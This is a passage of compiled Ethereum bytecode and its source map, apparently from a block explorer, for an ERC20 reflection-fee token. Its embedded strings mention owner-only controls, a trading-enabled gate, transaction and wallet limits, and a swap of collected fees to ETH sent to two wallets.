f165b8061170f575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561170e575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561171c575f905061189f565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156117c5575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156117dd576012546010819055506013546011819055505b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611886575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561189e576014546010819055506015546011819055505b5b6118ab84848484611d03565b50505050565b5f8383111582906118f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ef919061247a565b60405180910390fd5b505f83856119069190612eb1565b9050809150509392505050565b5f600854821115611959576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195090612f54565b60405180910390fd5b5f611962611d30565b90506119778184611d5990919063ffffffff16565b915050919050565b61198a838383610f6f565b505050565b600160075f6101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156119c5576119c4612f72565b5b6040519080825280602002602001820160405280156119f35781602001602082028036833780820191505090505b50905030815f81518110611a0a57611a09612905565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611aae573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ad29190612fb3565b81600181518110611ae657611ae5612905565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b4c3060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f6f565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611bae9594939291906130ce565b5f604051808303815f87803b158015611bc5575f80fd5b505af1158015611bd7573d5f803e3d5ffd5b50505050505f60075f6101000a81548160ff02191690831515021790555050565b5f600382611c069190613153565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611c6c573d5f803e3d5ffd5b50600482611c7a9190613153565b81611c859190612eb1565b90505f8290508181611c979190612eb1565b905060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611cfd573d5f803e3d5ffd5b50505050565b80611d1157611d10611da2565b5b611d1c848484611ddb565b80611d2a57611d29611f9b565b5b50505050565b5f805f611d3b611faf565b91509150611d528183611d5990919063ffffffff16565b9250505090565b5f611d9a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061200b565b905092915050565b5f601054148015611db457505f601154145b611dd9576010546016819055506011546017819055505f6010819055505f6011819055505b565b5f805f805f80611dea8761206c565b955095509550955095509550611e4686600f5f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120cc90919063ffffffff16565b600f5f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611ed785600f5f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461211590919063ffffffff16565b600f5f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611f2181612172565b611f2b8483612229565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f88919061265c565b60405180910390a3505050505050505050565b601654601081905550601754601181905550565b5f805f60085490505f670de0b6b3a76400009050611fe0670de0b6b3a7640000600854611d5990919063ffffffff16565b821015611ffe57600854670de0b6b3a7640000935093505050612007565b81819350935050505b9091565b5f8083118290612051576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612048919061247a565b60405180910390fd5b505f838561205f9190613153565b9050809150509392505050565b5f805f805f805f805f6120848a601054601154612263565b9250925092505f612093611d30565b90505f805f6120a48e8787876122f5565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f61210d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118b1565b905092915050565b5f8082846121239190612df0565b905083811015612168576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161215f906131cd565b60405180910390fd5b8091505092915050565b5f61217b611d30565b90505f612191828461237990919063ffffffff16565b90506121e381600f5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461211590919063ffffffff16565b600f5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b61223e826008546120cc90919063ffffffff16565b6008819055506122598160095461211590919063ffffffff16565b6009819055505050565b5f805f8061228d606461227f888a61237990919063ffffffff16565b611d5990919063ffffffff16565b90505f6122b660646122a8888b61237990919063ffffffff16565b611d5990919063ffffffff16565b90505f6122de826122d0858c6120cc90919063ffffffff16565b6120cc90919063ffffffff16565b905080838395509550955050505093509350939050565b5f805f8061230c858961237990919063ffffffff16565b90505f612322868961237990919063ffffffff16565b90505f612338878961237990919063ffffffff16565b90505f6123608261235285876120cc90919063ffffffff16565b6120cc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f808303612389575f90506123ea565b5f828461239691906131eb565b90508284826123a59190613153565b146123e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123dc9061329c565b60405180910390fd5b809150505b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561242757808201518184015260208101905061240c565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61244c826123f0565b61245681856123fa565b935061246681856020860161240a565b61246f81612432565b840191505092915050565b5f6020820190508181035f8301526124928184612442565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6124cb826124a2565b9050919050565b6124db816124c1565b81146124e5575f80fd5b50565b5f813590506124f6816124d2565b92915050565b5f819050919050565b61250e816124fc565b8114612518575f80fd5b50565b5f8135905061252981612505565b92915050565b5f80604083850312156125455761254461249a565b5b5f612552858286016124e8565b92505060206125638582860161251b565b9150509250929050565b5f8115159050919050565b6125818161256d565b82525050565b5f60208201905061259a5f830184612578565b92915050565b5f6125aa826124a2565b9050919050565b6125ba816125a0565b82525050565b5f6020820190506125d35f8301846125b1565b92915050565b5f819050919050565b5f6125fc6125f76125f2846124a2565b6125d9565b6124a2565b9050919050565b5f61260d826125e2565b9050919050565b5f61261e82612603565b9050919050565b61262e81612614565b82525050565b5f6020820190506126475f830184612625565b92915050565b612656816124fc565b82525050565b5f60208201905061266f5f83018461264d565b92915050565b5f805f6060848603121561268c5761268b61249a565b5b5f612699868287016124e8565b93505060206126aa868287016124e8565b92505060406126bb8682870161251b565b9150509250925092565b5f60ff82169050919050565b6126da816126c5565b82525050565b5f6020820190506126f35f8301846126d1565b92915050565b5f6020828403121561270e5761270d61249a565b5b5f61271b8482850161251b565b91505092915050565b5f602082840312156127395761273861249a565b5b5f612746848285016124e8565b91505092915050565b612758816124c1565b82525050565b5f6020820190506127715f83018461274f565b92915050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261279857612797612777565b5b8235905067ffffffffffffffff8111156127b5576127b461277b565b5b6020830191508360208202830111156127d1576127d061277f565b5b9250929050565b6127e18161256d565b81146127eb575f80fd5b50565b5f813590506127fc816127d8565b92915050565b5f805f604084860312156128195761281861249a565b5b5f84013567ffffffffffffffff8111156128365761283561249e565b5b61284286828701612783565b93509350506020612855868287016127ee565b9150509250925092565b5f80604083850312156128755761287461249a565b5b5f612882858286016124e8565b9250506020612893858286016124e8565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6128d16020836123fa565b91506128dc8261289d565b602082019050919050565b5f6020820190508181035f8301526128fe816128c5565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612969826124fc565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361299b5761299a612932565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f612a006026836123fa565b9150612a0b826129a6565b604082019050919050565b5f6020820190508181035f830152612a2d816129f4565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612a8e6024836123fa565b9150612a9982612a34565b604082019050919050565b5f6020820190508181035f830152612abb81612a82565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612b1c6022836123fa565b9150612b2782612ac2565b604082019050919050565b5f6020820190508181035f830152612b4981612b10565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612baa6023836123fa565b9150612bb582612b50565b604082019050919050565b5f6020820190508181035f830152612bd781612b9e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612c386025836123fa565b9150612c4382612bde565b604082019050919050565b5f6020820190508181035f830152612c6581612c2c565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612cc66029836123fa565b9150612cd182612c6c565b604082019050919050565b5f6020820190508181035f830152612cf381612cba565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e64205f8201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b5f612d54603f836123fa565b9150612d5f82612cfa565b604082019050919050565b5f6020820190508181035f830152612d8181612d48565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000005f82015250565b5f612dbc601c836123fa565b9150612dc782612d88565b602082019050919050565b5f6020820190508181035f830152612de981612db0565b9050919050565b5f612dfa826124fc565b9150612e05836124fc565b9250828201905080821115612e1d57612e1c612932565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f612e7d6023836123fa565b9150612e8882612e23565b604082019050919050565b5f6020820190508181035f830152612eaa81612e71565b9050919050565b5f612ebb826124fc565b9150612ec6836124fc565b9250828203905081811115612ede57612edd612932565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f612f3e602a836123fa565b9150612f4982612ee4565b604082019050919050565b5f6020820190508181035f830152612f6b81612f32565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f81519050612fad816124d2565b92915050565b5f60208284031215612fc857612fc761249a565b5b5f612fd584828501612f9f565b91505092915050565b5f819050919050565b5f613001612ffc612ff784612fde565b6125d9565b6124fc565b9050919050565b61301181612fe7565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613049816124c1565b82525050565b5f61305a8383613040565b60208301905092915050565b5f602082019050919050565b5f61307c82613017565b6130868185613021565b935061309183613031565b805f5b838110156130c15781516130a8888261304f565b97506130b383613066565b925050600181019050613094565b5085935050505092915050565b5f60a0820190506130e15f83018861264d565b6130ee6020830187613008565b81810360408301526131008186613072565b905061310f606083018561274f565b61311c608083018461264d565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61315d826124fc565b9150613168836124fc565b92508261317857613177613126565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6131b7601b836123fa565b91506131c282613183565b602082019050919050565b5f6020820190508181035f8301526131e4816131ab565b9050919050565b5f6131f5826124fc565b9150613200836124fc565b925082820261320e816124fc565b9150828204841483151761322557613224612932565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6132866021836123fa565b91506132918261322c565b604082019050919050565b5f6020820190508181035f8301526132b38161327a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206a35049c76993c8720f339638281274da9a15054578a2710a6e6d7973d6f600a64736f6c63430008150033

Deployed Bytecode Sourcemap

4335:12599:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6645:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8024:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4619:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4390:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7068:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7363:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5243:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6831:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9100:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16809:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6922:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3289:148;;;;;;;;;;;;;:::i;:::-;;4713:82;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16676:125;;;;;;;;;;;;;:::i;:::-;;3202:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6736:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7817:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5183:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15507:99;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9917:234;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5307:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4438:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7171:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2676:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6645:83;6682:13;6715:5;;;;;;;;;;;;;;;;;6708:12;;6645:83;:::o;8024:193::-;8126:4;8148:39;8157:12;:10;:12::i;:::-;8171:7;8180:6;8148:8;:39::i;:::-;8205:4;8198:11;;8024:193;;;;:::o;4619:87::-;;;;;;;;;;;;;:::o;4390:41::-;;;;;;;;;;;;;:::o;7068:95::-;7121:7;5061:20;7141:14;;7068:95;:::o;7363:446::-;7495:4;7512:36;7522:6;7530:9;7541:6;7512:9;:36::i;:::-;7559:220;7582:6;7603:12;:10;:12::i;:::-;7630:138;7686:6;7630:138;;;;;;;;;;;;;;;;;:11;:19;7642:6;7630:19;;;;;;;;;;;;;;;:33;7650:12;:10;:12::i;:::-;7630:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;7559:8;:220::i;:::-;7797:4;7790:11;;7363:446;;;;;:::o;5243:56::-;;;;:::o;6831:83::-;6872:5;5018:1;6890:16;;6831:83;:::o;9100:127::-;2601:12;:10;:12::i;:::-;2591:22;;:6;;;;;;;;;;:22;;;2583:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9201:18:::1;9184:14;:35;;;;9100:127:::0;:::o;16809:122::-;2601:12;:10;:12::i;:::-;2591:22;;:6;;;;;;;;;;:22;;;2583:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16889:4:::1;16871:15;;:22;;;;;;;;;;;;;;;;;;16918:5;16904:11;;:19;;;;;;;;;;;;;;;;;;16809:122:::0;:::o;6922:138::-;6988:7;7015:37;7035:7;:16;7043:7;7035:16;;;;;;;;;;;;;;;;7015:19;:37::i;:::-;7008:44;;6922:138;;;:::o;3289:148::-;2601:12;:10;:12::i;:::-;2591:22;;:6;;;;;;;;;;:22;;;2583:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3396:1:::1;3359:40;;3380:6;::::0;::::1;;;;;;;;3359:40;;;;;;;;;;;;3427:1;3410:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3289:148::o:0;4713:82::-;;;;;;;;;;;;;:::o;16676:125::-;2601:12;:10;:12::i;:::-;2591:22;;:6;;;;;;;;;;:22;;;2583:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5061:20:::1;16728:15;:25;;;;5061:20;16764:19;:29;;;;16676:125::o:0;3202:79::-;3240:7;3267:6;;;;;;;;;;;3260:13;;3202:79;:::o;6736:87::-;6775:13;6808:7;;;;;;;;;;;;;;;;;6801:14;;6736:87;:::o;7817:199::-;7922:4;7944:42;7954:12;:10;:12::i;:::-;7968:9;7979:6;7944:9;:42::i;:::-;8004:4;7997:11;;7817:199;;;;:::o;5183:52::-;;;;:::o;15507:99::-;15560:38;15575:5;15582:6;;;;;;;;;;;5061:20;15560:14;:38::i;:::-;15507:99;:::o;9917:234::-;2601:12;:10;:12::i;:::-;2591:22;;:6;;;;;;;;;;:22;;;2583:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10034:9:::1;10030:114;10053:8;;:15;;10049:1;:19;10030:114;;;10124:8;10090:18;:31;10109:8;;10118:1;10109:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;10090:31;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;10070:3;;;;;:::i;:::-;;;;10030:114;;;;9917:234:::0;;;:::o;5307:47::-;;;;:::o;4438:26::-;;;;;;;;;;;;;:::o;7171:184::-;7288:7;7320:11;:18;7332:5;7320:18;;;;;;;;;;;;;;;:27;7339:7;7320:27;;;;;;;;;;;;;;;;7313:34;;7171:184;;;;:::o;2676:244::-;2601:12;:10;:12::i;:::-;2591:22;;:6;;;;;;;;;;:22;;;2583:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2785:1:::1;2765:22;;:8;:22;;::::0;2757:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2875:8;2846:38;;2867:6;::::0;::::1;;;;;;;;2846:38;;;;;;;;;;;;2904:8;2895:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;2676:244:::0;:::o;1606:101::-;1659:7;1689:10;1682:17;;1606:101;:::o;10887:369::-;11031:1;11014:19;;:5;:19;;;11006:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11112:1;11093:21;;:7;:21;;;11085:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11194:6;11164:11;:18;11176:5;11164:18;;;;;;;;;;;;;;;:27;11183:7;11164:27;;;;;;;;;;;;;;;:36;;;;11232:7;11216:32;;11225:5;11216:32;;;11241:6;11216:32;;;;;;:::i;:::-;;;;;;;;10887:369;;;:::o;12505:2474::-;12641:1;12627:16;;:2;:16;;;12619:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;12719:1;12703:18;;:4;:18;;;12695:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12791:1;12782:6;:10;12774:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;12875:7;:5;:7::i;:::-;12867:15;;:4;:15;;;;:46;;;;;12906:7;:5;:7::i;:::-;12900:13;;:2;:13;;;;12867:46;12849:1351;;;12978:15;;;;;;;;;;;12973:210;;13052:7;:5;:7::i;:::-;13044:15;;:4;:15;;;13014:153;;;;;;;;;;;;:::i;:::-;;;;;;;;;12973:210;13215:15;;13205:6;:25;;13197:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;13287:11;;;;;;;;;;;13281:17;;:2;:17;;;13278:167;;13352:19;;13343:6;13327:13;13337:2;13327:9;:13::i;:::-;:22;;;;:::i;:::-;:44;13319:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;13278:167;13461:27;13491:24;13509:4;13491:9;:24::i;:::-;13461:54;;13626:15;;13603:19;:38;13600:83;;13666:15;;13644:37;;13600:83;13703:12;;;;;;;;;;;:53;;;;;13742:14;;13719:19;:37;;13703:53;:89;;;;;13779:13;;;;;;;;;;;13778:14;13703:89;:130;;;;;13822:11;;;;;;;;;;;13814:19;;:4;:19;;;;13703:130;:177;;;;;13856:18;:24;13875:4;13856:24;;;;;;;;;;;;;;;;;;;;;;;;;13855:25;13703:177;:222;;;;;13903:18;:22;13922:2;13903:22;;;;;;;;;;;;;;;;;;;;;;;;;13902:23;13703:222;13699:490;;;13960:29;13969:19;13960:8;:29::i;:::-;14008:20;14031:21;14008:44;;14090:1;14075:12;:16;14071:103;;;14116:38;14132:21;14116:15;:38::i;:::-;14071:103;13941:248;13699:490;12925:1275;12849:1351;14212:13;14228:4;14212:20;;14289:18;:24;14308:4;14289:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;14317:18;:22;14336:2;14317:22;;;;;;;;;;;;;;;;;;;;;;;;;14289:50;14288:98;;;;14353:11;;;;;;;;;;;14345:19;;:4;:19;;;;:40;;;;;14374:11;;;;;;;;;;;14368:17;;:2;:17;;;;14345:40;14288:98;14270:642;;;14424:5;14413:16;;14270:642;;;14505:11;;;;;;;;;;;14497:19;;:4;:19;;;:67;;;;;14548:15;;;;;;;;;;;14534:30;;:2;:30;;;;14497:67;14494:178;;;14598:16;;14585:10;:29;;;;14643:13;;14633:7;:23;;;;14494:178;14729:11;;;;;;;;;;;14723:17;;:2;:17;;;:68;;;;;14775:15;;;;;;;;;;;14759:32;;:4;:32;;;;14723:68;14719:182;;;14825:17;;14812:10;:30;;;;14871:14;;14861:7;:24;;;;14719:182;14270:642;14922:49;14944:4;14950:2;14954:6;14962:8;14922:21;:49::i;:::-;12608:2371;12505:2474;;;:::o;583:224::-;703:7;736:1;731;:6;;739:12;723:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;763:9;779:1;775;:5;;;;:::i;:::-;763:17;;798:1;791:8;;;583:224;;;;;:::o;16310:323::-;16405:7;16463;;16452;:18;;16430:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;16551:19;16573:10;:8;:10::i;:::-;16551:32;;16601:24;16613:11;16601:7;:11;;:24;;;;:::i;:::-;16594:31;;;16310:323;;;:::o;11268:128::-;11358:30;11367:5;11374;11381:6;11358:8;:30::i;:::-;11268:128;;;:::o;8570:474::-;5643:4;5627:13;;:20;;;;;;;;;;;;;;;;;;8639:21:::1;8677:1;8663:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8639:40;;8708:4;8690;8695:1;8690:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;8734:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8724:4;8729:1;8724:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;8767:62;8784:4;8799:15;;;;;;;;;;;8817:11;8767:8;:62::i;:::-;8840:15;;;;;;;;;;;:66;;;8921:11;8947:1;8963:4;8990;9010:15;8840:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;8628:416;5686:5:::0;5670:13;;:21;;;;;;;;;;;;;;;;;;8570:474;:::o;9239:269::-;9299:14;9325:1;9316:6;:10;;;;:::i;:::-;9299:27;;9338:10;;;;;;;;;;;:19;;:27;9358:6;9338:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9386:1;9377:6;:10;;;;:::i;:::-;9367:20;;;;;:::i;:::-;;;9398;9421:6;9398:29;;9454:6;9438:22;;;;;:::i;:::-;;;9471:6;;;;;;;;;;;:15;;:29;9487:12;9471:29;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9288:220;;9239:269;:::o;8225:333::-;8388:7;8383:51;;8410:14;:12;:14::i;:::-;8383:51;8445:42;8461:6;8469:9;8480:6;8445:15;:42::i;:::-;8503:7;8498:53;;8525:16;:14;:16::i;:::-;8498:53;8225:333;;;;:::o;9745:164::-;9787:7;9808:15;9825;9844:19;:17;:19::i;:::-;9807:56;;;;9881:20;9893:7;9881;:11;;:20;;;;:::i;:::-;9874:27;;;;9745:164;:::o;1207:132::-;1265:7;1292:39;1296:1;1299;1292:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1285:46;;1207:132;;;;:::o;12028:206::-;12089:1;12075:10;;:15;:31;;;;;12105:1;12094:7;;:12;12075:31;12108:7;12071:44;12141:10;;12125:13;:26;;;;12173:7;;12160:10;:20;;;;12205:1;12192:10;:14;;;;12225:1;12215:7;:11;;;;12028:206;:::o;10277:602::-;10422:15;10452:23;10490:12;10517:23;10555:12;10582:13;10609:19;10620:7;10609:10;:19::i;:::-;10407:221;;;;;;;;;;;;10657:28;10677:7;10657;:15;10665:6;10657:15;;;;;;;;;;;;;;;;:19;;:28;;;;:::i;:::-;10639:7;:15;10647:6;10639:15;;;;;;;;;;;;;;;:46;;;;10717:39;10740:15;10717:7;:18;10725:9;10717:18;;;;;;;;;;;;;;;;:22;;:39;;;;:::i;:::-;10696:7;:18;10704:9;10696:18;;;;;;;;;;;;;;;:60;;;;10767:18;10779:5;10767:11;:18::i;:::-;10787:24;10800:4;10806;10787:12;:24::i;:::-;10844:9;10827:44;;10836:6;10827:44;;;10855:15;10827:44;;;;;;:::i;:::-;;;;;;;;10396:483;;;;;;10277:602;;;:::o;10159:110::-;10217:13;;10204:10;:26;;;;10251:10;;10241:7;:20;;;;10159:110::o;12240:257::-;12291:7;12300;12320:15;12338:7;;12320:25;;12356:15;5061:20;12356:25;;12406:20;5061;12406:7;;:11;;:20;;;;:::i;:::-;12396:7;:30;12392:61;;;12436:7;;5061:20;12428:25;;;;;;;;12392:61;12472:7;12481;12464:25;;;;;;12240:257;;;:::o;1345:223::-;1465:7;1497:1;1493;:5;1500:12;1485:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1524:9;1540:1;1536;:5;;;;:::i;:::-;1524:17;;1559:1;1552:8;;;1345:223;;;;;:::o;11404:616::-;11504:7;11526;11548;11570;11592;11614;11650:23;11675:12;11689:13;11719:41;11731:7;11740:10;;11752:7;;11719:11;:41::i;:::-;11649:111;;;;;;11771:19;11793:10;:8;:10::i;:::-;11771:32;;11815:15;11832:23;11857:12;11886:46;11898:7;11907:4;11913:5;11920:11;11886;:46::i;:::-;11814:118;;;;;;11951:7;11960:15;11977:4;11983:15;12000:4;12006:5;11943:69;;;;;;;;;;;;;;;;;;;11404:616;;;;;;;:::o;813:136::-;871:7;898:43;902:1;905;898:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;891:50;;813:136;;;;:::o;398:179::-;456:7;476:9;492:1;488;:5;;;;:::i;:::-;476:17;;517:1;512;:6;;504:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;568:1;561:8;;;398:179;;;;:::o;9520:213::-;9575:19;9597:10;:8;:10::i;:::-;9575:32;;9618:13;9634:22;9644:11;9634:5;:9;;:22;;;;:::i;:::-;9618:38;;9692:33;9719:5;9692:7;:22;9708:4;9692:22;;;;;;;;;;;;;;;;:26;;:33;;;;:::i;:::-;9667:7;:22;9683:4;9667:22;;;;;;;;;;;;;;;:58;;;;9564:169;;9520:213;:::o;16154:148::-;16233:17;16245:4;16233:7;;:11;;:17;;;;:::i;:::-;16223:7;:27;;;;16274:20;16289:4;16274:10;;:14;;:20;;;;:::i;:::-;16261:10;:33;;;;16154:148;;:::o;15034:467::-;15202:7;15224;15246;15281:12;15296:29;15321:3;15296:20;15308:7;15296;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;15281:44;;15336:13;15352:28;15376:3;15352:19;15364:6;15352:7;:11;;:19;;;;:::i;:::-;:23;;:28;;;;:::i;:::-;15336:44;;15391:23;15417:28;15439:5;15417:17;15429:4